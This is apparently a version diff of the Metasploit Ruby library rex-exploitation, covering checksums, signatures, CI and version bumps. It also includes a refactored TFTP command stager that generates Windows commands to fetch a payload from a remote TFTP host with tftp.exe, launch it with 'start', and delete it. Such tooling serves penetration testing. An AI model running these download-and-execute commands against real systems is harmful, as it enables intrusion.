rex-exploitation 0.1.29 → 0.1.32

Sign up to get free protection for your applications and to get access to all the features.
checksums.yaml CHANGED
@@ -1,7 +1,7 @@
1
1
  ---
2
2
  SHA256:
3
- metadata.gz: e69e2bed1ac177b2484539a5a0230a220022f71076033698346c7c83fe1c2128
4
- data.tar.gz: 73d249b1347e340fb3517d21f61b6936310ab5c761bdc4fa65cfcd1ea9a50bcd
3
+ metadata.gz: ea51688315db43ddb2a980d72a715dbe8f7eaf59613df153392b2bcb10735eb0
4
+ data.tar.gz: d2278d504b70b8db76031c45669a87ae25377c595e318efae605732beaaf79a6
5
5
  SHA512:
6
- metadata.gz: c3c25edfd7431681b7b94bb8bef1d66b237c9e62354476c3aed8debc771efc816ab27f24e5c12ba4ac2d13f87ab1f7a52ec99c5f737bb30e970fdbf97ace0e33
7
- data.tar.gz: 80291e0d18a9c84033a04b13d0d1cd512ffe039ae12fac397abbe2bfdf4a961ed16b347107e0d20939322e0808c62887d344be07efacd5de08d49a59129cbd99
6
+ metadata.gz: c3dcf1ca77715c531385068d818183d3a130551a9505fb281be4cc26a3d24b9166235acce86474370195eec466b1a416fe83b0286fd787bd393956317733d827
7
+ data.tar.gz: f7c73e02aca2da10019466617de38c0ca728c592a0420faaee0972911364be5c00673b694f1ad2510728aa94aa72230ef9cdf8311716c4528dbf6a2ebe3b7172
checksums.yaml.gz.sig CHANGED
@@ -1 +1,2 @@
1
- i�ЙGf�3��kZ�~�V:Ԡt1��W�7&��DNu�]vR?O�
1
+ E{� :��l��+̚[J�����G���ٳJ���ɧ|�dZi���jy�&��S�����?�f ��k3<
2
+ �7���ocp����'կ�z5$uX4�Tt 7vaVv�bre{� D�����hͺ^]��q� ���<N�)�y'���Y�l�[�r߄ko5+��j��zM`��3��Z�-��H��]�@M|�� ��-�P��x�_��ۨ~����x�c i��{ �Yp�OS��!�J���,����p��F��|
@@ -20,6 +20,7 @@ jobs:
20
20
  - 2.6
21
21
  - 2.7
22
22
  - 3.0
23
+ - 3.1
23
24
  test_cmd:
24
25
  - bundle exec rspec
25
26
 
@@ -13,7 +13,7 @@ module Exploitation
13
13
  # be written to disk and executed.
14
14
  #
15
15
  # This particular version uses tftp.exe to download a binary from the specified
16
- # server. The original file is preserve, not encoded at all, and so this version
16
+ # server. The original file is preserved, not encoded at all, and so this version
17
17
  # is significantly simpler than other methods.
18
18
  #
19
19
  # Requires: tftp.exe, outbound udp connectivity to a tftp server
@@ -24,14 +24,24 @@ module Exploitation
24
24
 
25
25
  class CmdStagerTFTP < CmdStagerBase
26
26
 
27
- def initialize(exe)
28
- super
29
- @payload_exe = Rex::Text.rand_text_alpha(8) + ".exe"
27
+ def generate(opts = {})
28
+ if opts[:tftphost].nil?
29
+ raise "#{self.class.name}##{__callee__} missing opts[:tftphost]"
30
+ end
31
+
32
+ opts[:linemax] ||= @linemax
33
+ opts[:file] ||= "#{Rex::Text.rand_text_alpha(8)}.exe"
34
+ opts[:temp] ||= '%TEMP%'
35
+
36
+ @payload_exe = opts[:file]
37
+ @payload_path = opts[:temp] == '.' ? opts[:file] : "#{opts[:temp]}\\#{opts[:file]}"
38
+
39
+ generate_cmds(opts)
30
40
  end
31
41
 
32
42
  def setup(mod)
33
43
  self.tftp = Rex::Proto::TFTP::Server.new
34
- self.tftp.register_file(Rex::Text.rand_text_alphanumeric(8), exe)
44
+ self.tftp.register_file(@payload_exe, exe)
35
45
  self.tftp.start
36
46
  mod.add_socket(self.tftp) # Hating myself for doing it... but it's just a first demo
37
47
  end
@@ -40,28 +50,30 @@ class CmdStagerTFTP < CmdStagerBase
40
50
  self.tftp.stop
41
51
  end
42
52
 
43
- #
44
- # We override compress commands just to stick in a few extra commands
45
- # last second..
46
- #
47
- def compress_commands(cmds, opts)
48
- # Initiate the download
49
- cmds << "tftp -i #{opts[:tftphost]} GET #{opts[:transid]} #{@tempdir + @payload_exe}"
50
-
51
- # Make it all happen
52
- cmds << "start #{@tempdir + @payload_exe}"
53
-
54
- # Clean up after unless requested not to..
55
- if (not opts[:nodelete])
56
- # XXX: We won't be able to delete the payload while it is running..
53
+ def generate_cmds_payload(opts)
54
+ cmds = []
55
+ # We can skip the destination argument if we're writing to the working directory,
56
+ # as tftp defaults to writing the file to the current directory with the same filename.
57
+ if opts[:file] == @payload_path
58
+ cmds << "tftp -i #{opts[:tftphost]} GET #{opts[:file]}"
59
+ else
60
+ cmds << "tftp -i #{opts[:tftphost]} GET #{opts[:file]} \"#{@payload_path}\""
57
61
  end
62
+ cmds
63
+ end
64
+
65
+ def generate_cmds_decoder(opts)
66
+ cmds = []
67
+ cmds << "start \"#{@payload_path}\""
68
+ # NOTE: We can't delete the payload while it is running.
69
+ cmds << "del \"#{@payload_path}\"" unless opts[:nodelete]
70
+ cmds
71
+ end
58
72
 
59
- super
73
+ def cmd_concat_operator
74
+ ' & '
60
75
  end
61
76
 
62
- # NOTE: We don't use a concatenation operator here since we only have a couple commands.
63
- # There really isn't any need to combine them. Also, the ms01_026 exploit depends on
64
- # the start command being issued separately so that it can ignore it :)
65
77
  attr_reader :exe
66
78
  attr_reader :payload_exe
67
79
  attr_accessor :tftp
@@ -1,5 +1,5 @@
1
1
  module Rex
2
2
  module Exploitation
3
- VERSION = "0.1.29"
3
+ VERSION = "0.1.32"
4
4
  end
5
5
  end
data.tar.gz.sig CHANGED
Binary file
metadata CHANGED
@@ -1,7 +1,7 @@
1
1
  --- !ruby/object:Gem::Specification
2
2
  name: rex-exploitation
3
3
  version: !ruby/object:Gem::Version
4
- version: 0.1.29
4
+ version: 0.1.32
5
5
  platform: ruby
6
6
  authors:
7
7
  - Metasploit Hackers
@@ -93,7 +93,7 @@ cert_chain:
93
93
  EknWpNgVhohbot1lfVAMmIhdtOVaRVcQQixWPwprDj/ydB8ryDMDosIMcw+fkoXU
94
94
  9GJsSaSRRYQ9UUkVL27b64okU8D48m8=
95
95
  -----END CERTIFICATE-----
96
- date: 2022-03-07 00:00:00.000000000 Z
96
+ date: 2022-07-11 00:00:00.000000000 Z
97
97
  dependencies:
98
98
  - !ruby/object:Gem::Dependency
99
99
  name: rake
metadata.gz.sig CHANGED
@@ -1,2 +1 @@
1
- /'��JF��-���gbE���g����f�j��O�';7S�Q�4]O�ԟ���7���|?RZBc`6�9�0��
2
- T?�f��*�@�h�JIDר Aĩ5H�:!RȽE�o��!П�}c�i�����7�;�Ns��>��-j�L�푵����R+� e��L?-qoݽX���z￉"To"~BH,���n���'�.��δ�I�r��53V݋ˬ�B�����4h䆅в_҄VIc�̠۽�
1
+ �����{���O?��yӬa��llÑ;�6�m2Q�|k`_�Ⱦ�-��Lnr�҄�Q�`���lN8�V���y��$d����ĖY������П��yF_�@�����d\U77b�q�ⵥ���Y��t�Ն�O�xA(�A�ڊ��t���I+�U*Q^�E ��*<G������ {���^��S^����V �!���a���ٮ��9���ES���m����x��,w����=*�xPV�<